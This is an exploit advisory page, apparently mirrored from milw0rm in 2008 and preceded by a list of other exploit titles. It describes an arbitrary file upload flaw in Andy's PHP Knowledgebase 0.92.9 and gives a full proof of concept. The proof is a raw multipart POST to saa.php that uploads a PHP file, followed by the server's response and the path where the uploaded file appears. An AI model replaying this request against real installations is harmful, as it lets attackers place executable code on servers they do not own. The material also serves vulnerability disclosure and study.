477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
115 lines
3.8 KiB
Text
Executable file
115 lines
3.8 KiB
Text
Executable file
==============================================================
|
|
Andy's PHP Knowledgebase Arbitrary File Upload Vulnerability
|
|
==============================================================
|
|
|
|
,--^----------,--------,-----,-------^--,
|
|
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
|
|
`+---------------------------^----------|
|
|
`\_,-------, _________________________|
|
|
/ XXXXXX /`| /
|
|
/ XXXXXX / `\ /
|
|
/ XXXXXX /\______(
|
|
/ XXXXXX /
|
|
/ XXXXXX /
|
|
(________(
|
|
`------'
|
|
|
|
|
|
AUTHOR : CWH Underground
|
|
DATE : 1 December 2008
|
|
SITE : cwh.citec.us
|
|
|
|
|
|
#####################################################
|
|
APPLICATION : Andy's PHP Knowledgebase
|
|
VERSION : 0.92.9
|
|
DOWNLOAD : http://sourceforge.net/project/showfiles.php?group_id=113755
|
|
#####################################################
|
|
|
|
--- Arbitrary File Upload ---
|
|
|
|
In saa.php page, you can submit an article and attachment file to wait for approval from admin.
|
|
Immediately after you submit the article and attachment file, the file has already been on the server without checking file type.
|
|
You can upload arbitary file through this form and the url to this file is in authors.php page.
|
|
|
|
--------
|
|
POC
|
|
--------
|
|
|
|
POST /cms/aphpkb/saa.php HTTP/1.1
|
|
Host: 127.0.0.1
|
|
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
|
Accept-Language: en-us,en;q=0.5
|
|
Accept-Encoding: gzip,deflate
|
|
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
|
Keep-Alive: 300
|
|
Connection: keep-alive
|
|
Referer: http://127.0.0.1/cms/aphpkb/saa.php?aid=2
|
|
Cookie: module=table; PHPSESSID=b311c4f9b1f3ee0c071f33ffd3b3176f
|
|
Content-Type: multipart/form-data; boundary=---------------------------22955284022147
|
|
Content-Length: 1080
|
|
-----------------------------22955284022147
|
|
Content-Disposition: form-data; name="title"
|
|
|
|
PoC Arbitrary File Upload
|
|
-----------------------------22955284022147
|
|
Content-Disposition: form-data; name="article"
|
|
|
|
PoC Arbitrary File Upload
|
|
-----------------------------22955284022147
|
|
Content-Disposition: form-data; name="keywords"
|
|
|
|
PoC Arbitrary File Upload
|
|
-----------------------------22955284022147
|
|
Content-Disposition: form-data; name="aid"
|
|
|
|
2
|
|
-----------------------------22955284022147
|
|
Content-Disposition: form-data; name="upload"; filename="info.php"
|
|
Content-Type: application/octet-stream
|
|
|
|
<? phpinfo(); ?>
|
|
-----------------------------22955284022147
|
|
Content-Disposition: form-data; name="description"
|
|
|
|
PHP File
|
|
-----------------------------22955284022147
|
|
Content-Disposition: form-data; name="aid"
|
|
|
|
2
|
|
-----------------------------22955284022147
|
|
Content-Disposition: form-data; name="a"
|
|
|
|
|
|
-----------------------------22955284022147
|
|
Content-Disposition: form-data; name="submit"
|
|
|
|
Submit/Save
|
|
-----------------------------22955284022147--
|
|
|
|
|
|
HTTP/1.x 200 OK
|
|
Date: Mon, 01 Dec 2008 05:39:35 GMT
|
|
Server: Apache/2.2.8 (Win32) PHP/5.2.6
|
|
X-Powered-By: PHP/5.2.6
|
|
Expires: Thu, 19 Nov 1981 08:52:00 GMT
|
|
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
|
|
Pragma: no-cache
|
|
Content-Length: 4578
|
|
Keep-Alive: timeout=5, max=100
|
|
Connection: Keep-Alive
|
|
Content-Type: text/html
|
|
|
|
|
|
-----------------------------------------------------------------------
|
|
|
|
Link for uploaded file is in http://[Target]/[aphpkb_path]/authors.php
|
|
|
|
|
|
#######################################################################################
|
|
Greetz : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos, Gdiupo, GnuKDE, JK
|
|
Special Thx : asylu3, str0ke, citec.us, milw0rm.com
|
|
#######################################################################################
|
|
|
|
# milw0rm.com [2008-12-01]
|